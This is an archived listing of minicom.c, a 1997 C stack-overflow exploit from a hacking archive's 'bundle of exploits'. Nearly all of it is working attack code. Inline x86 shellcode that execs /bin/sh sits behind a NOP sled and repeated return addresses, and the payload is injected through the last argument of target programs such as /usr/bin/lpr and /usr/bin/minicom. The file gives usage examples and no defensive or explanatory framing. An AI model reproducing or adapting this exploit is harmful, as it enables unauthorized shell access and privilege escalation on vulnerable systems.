home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / minicom.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  99 lines

  1. /* this stack overflow exploit code was written by jsn <jason@redline.ru>  */
  2. /* provided "as is" and without any warranty. Sun Feb  9 08:12:54 MSK 1997 */
  3. /* usage: argv[0] their_stack_offset buffer_size target_program [params]   */
  4. /* generated string will be appended to the last of params.                */
  5.  
  6. /* examples: stack -600 1303 /usr/bin/lpr "-J"                             */
  7. /*           stack -640 153  /usr/bin/minicom -t vt100 -d ""               */
  8.  
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <stdarg.h>
  14.  
  15. #define NOP     0x90
  16.  
  17. const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
  18.  
  19. extern          code();
  20. void    dummy( void )
  21. {
  22.         extern  lbl();
  23.  
  24.         /* do "exec( "/bin/sh" ); exit(0)" */
  25.  
  26. __asm__( "
  27. code:   xorl    %edx, %edx
  28.         pushl   %edx
  29.         jmp     lbl
  30. start2: movl    %esp, %ecx
  31.         popl    %ebx
  32.         movb    %edx, 0x7(%ebx)
  33.         xorl    %eax, %eax
  34.         movb    $0xB, %eax
  35.         int     $0x80
  36.         xorl    %ebx, %ebx
  37.         xorl    %eax, %eax
  38.         inc     %eax
  39.         int     $0x80
  40. lbl:    call    start2
  41.         .string \"/bin/sh\"
  42.  ");
  43. }
  44.  
  45. void            Fatal( int rv, const char *fmt, ... )
  46. {
  47.         va_list         vl;
  48.         va_start( vl, fmt );
  49.         vfprintf( stderr, fmt, vl );
  50.         va_end( vl );
  51.         exit( rv );
  52. }
  53.  
  54. int             main( int ac, char **av )
  55. {
  56.         int             buff_addr;      /* where our code is */
  57.         int             stack_offset = 0,
  58.                         buffer_size = 0, i, code_size;
  59.         char            *buffer, *p;
  60.  
  61.         buff_addr = (int)(&buff_addr);          /* get the stack pointer */
  62.         code_size = strlen( (char *)code );     /* get the size of piece of */
  63.                                                 /* code in dummy()      */
  64.         if( ac < 5 )    Fatal( -1, usage, *av );
  65.  
  66.         buff_addr -= strtol( av[ 1 ], NULL, 0 );
  67.         buffer_size = strtoul( av[ 2 ], NULL, 0 );
  68.  
  69.         if( buffer_size < code_size + 4 )
  70.             Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
  71.             /* "this is supported, but not implemented yet" ;) */
  72.  
  73.         if( (buffer = malloc( buffer_size )) == NULL )
  74.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  75.  
  76.         fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );
  77.  
  78.         for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
  79.                 *(int *)(buffer + i) = buff_addr;
  80.         memset( buffer, NOP, buffer_size/2 );
  81.  
  82.         i = (buffer_size - code_size - 4)/2;
  83.  
  84.         memcpy( buffer + i, (char *)code, code_size );
  85.         buffer[ buffer_size - 1 ] = '\0';
  86.  
  87.         p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
  88.         if( !p )
  89.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  90.  
  91.         strcpy( p, av[ ac - 1 ] );
  92.         strcat( p, buffer );
  93.         av[ ac - 1 ] = p;
  94.  
  95.         execve( av[ 3 ], av + 3, NULL );
  96.         perror( "exec():" );
  97. }
  98.  
  99.